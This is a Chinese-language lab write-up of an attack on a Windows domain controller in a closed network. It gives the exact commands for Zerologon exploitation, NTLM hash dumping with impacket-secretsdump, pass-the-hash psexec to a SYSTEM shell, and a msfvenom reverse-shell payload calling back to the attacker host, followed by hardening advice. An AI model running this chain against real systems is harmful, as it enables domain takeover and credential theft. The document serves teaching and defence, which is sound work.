域控制器利用与Metasploit+Impacket实战
场景概述
在封闭实验室网络中提供两台机器:一台是名为DC10的Windows域控制器,托管核心AD服务;另一台是位于同一服务器子网的Kali工作站。DC暴露典型的域服务(如LDAP、Kerberos、SMB),可能存在已知漏洞。Kali主机用于侦察、利用、凭证访问、横向移动和后渗透验证。
目标:识别DC、确认域详情、使用适用技术获得初始立足点、提取凭证材料以实现管理访问,并通过远程shell和托管代理会话展示对DC的控制。
DC: 10.1.16.1 Kali: 10.1.16.66
关键发现
- 成功利用关键漏洞:CVE-2020-1472 Zerologon,将DC机器账户密码重置为空
- 凭证泄露:从DC提取NTLM哈希,揭示可用于传递哈希攻击的管理员凭证
- 展示完整域控制:使用提取的哈希获得DC10上的SYSTEM shell,运行稳定的Meterpreter反向shell
- 暴露服务:LDAP、Kerberos、SMB及相关RPC服务可从攻击主机访问
- 攻击面风险:DC接受远程操作,允许机器账户操纵和远程载荷执行
1) 发现与范围确定
使用支持数据库的msfconsole,在MSF内运行nmap扫描,导入结果并优化主机和服务以确认DC10暴露。
- 启动带DB支持的msfconsole并确认数据库连接
- 从msfconsole运行子网nmap扫描并将结果导入MSF DB
- 清理主机表以移除Kali IP,审查服务以识别可能的DC指标
- 使用MSF的SYN端口扫描器配合约束端口范围和全局线程优化服务数据
- 对Windows主机进行SMB指纹识别以丰富OS详情
- 确认10.1.16.1上的LDAP和Kerberos服务,通过LDAP查询验证域名
- 决策:将10.1.16.1作为利用和凭证访问的DC焦点
2) 服务丰富化与DC确认
在MSF中执行SYN端口扫描,进行SMB指纹识别,确认10.1.16.1上的LDAP和Kerberos。查询LDAP以获取域名。
SMB版本检查
- 使用msfconsole中的SMB版本模块:
auxiliary/scanner/smb/smb_version - 从主机表设置目标:hosts -R
- 获取SMB方言和OS详情
- 结果:10.1.16.1显示Windows Server信息,与作为域控制器的身份一致
LDAP查询
- 使用LDAP查询模块:
auxiliary/gather/ldap_query - 设置rhosts 10.1.16.1直接攻击DC10
- 运行以提取基本目录信息
- 结果:确认域名为"structureality",DC上的LDAP正在响应
3) Zerologon利用(初始访问)
运行auxiliary/admin/dcerpc/cve_2020_1472_zerologon对抗DC10,将机器账户密码重置为空。
4) 凭证访问(secretsdump)
使用Impacket从DC转储NTLM哈希,识别用于传递哈希攻击的管理员凭证。
impacket-secretsdump -just-dc-ntlm structureality/dc10\$@10.1.16.1
5) 横向移动(psexec)
使用传递哈希与psexec获得DC10上的SYSTEM级shell,并验证主机身份。
impacket-psexec structureality/administrator@10.1.16.1 -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
可以看到,已经进入C:\Windows\system32
6) 后渗透(Meterpreter)
生成reverse_tcp meterpreter载荷,通过HTTP托管,下载到DC10,启动处理器,执行载荷以打开Meterpreter会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
启动基本Web服务器以允许目标系统轻松访问此meterpreter可执行文件:
python3 -m http.server 8080
在目标机器上执行meterpreter可执行文件(secret.exe)
可以看到,现在已在目标DC10和Kali系统之间建立了反向shell连接。这仅通过针对易受攻击目标的外部/远程利用完成。
虽然Kali系统与DC10目标位于同一服务器子网中,但如果目标系统暴露于开放互联网,这些类型的攻击可以通过互联网进行。
7) 关键成果
- 确认DC10为structureality的域控制器
- Zerologon成功,启用凭证提取
- 使用管理员哈希通过传递哈希获得SYSTEM shell
- 在DC10上确认稳定的Meterpreter会话
证据
- MSF DB和nmap子网扫描日志确认主机/服务发现
- SMB/LDAP/Kerberos枚举输出确认DC服务和域名structureality
- Zerologon模块输出显示机器账户密码重置为空
- 带提取NTLM哈希的secretsdump输出
- 展示C:\Windows\System32的psexec会话日志
- 确认远程控制的msfvenom和Meterpreter会话截图
执行操作(摘要)
- 发现与范围确定:从msfconsole进行nmap扫描;使用MSF DB管理主机/服务;确认DC10为目标
- 服务丰富化:SMB指纹识别、LDAP查询、Kerberos确认以验证域控制器角色
- 初始访问:运行auxiliary/admin/dcerpc/cve_2020_1472_zerologon重置DC机器账户密码
- 凭证访问:使用impacket-secretsdump从DC提取NTLM哈希
- 横向移动:使用impacket-psexec和管理员NTLM哈希→SYSTEM shell
- 后渗透:构建并托管meterpreter载荷,在DC上下载并执行,确认持久会话
对网络所有者的建议
- 立即修补Netlogon漏洞并通过扫描CVE-2020-1472暴露进行验证
- 强制SMB签名并限制DC SMB和RPC仅对受信任的管理子网暴露
- 实施分层管理并拒绝来自非管理管理主机的远程服务执行
- 禁用或严格控制NTLM,优先使用Kerberos,监控传递哈希模式
- 出口控制:限制服务器的出站连接,仅允许列表所需目的地和端口
- 端点保护:阻止未签名二进制文件并对PowerShell应用AMSI集成扫描
- 监控:对机器账户密码重置、异常DRSUAPI访问和意外处理器类监听器发出警报
- 定期轮换特权凭证并使用LAPS或PAM解决方案降低哈希重用风险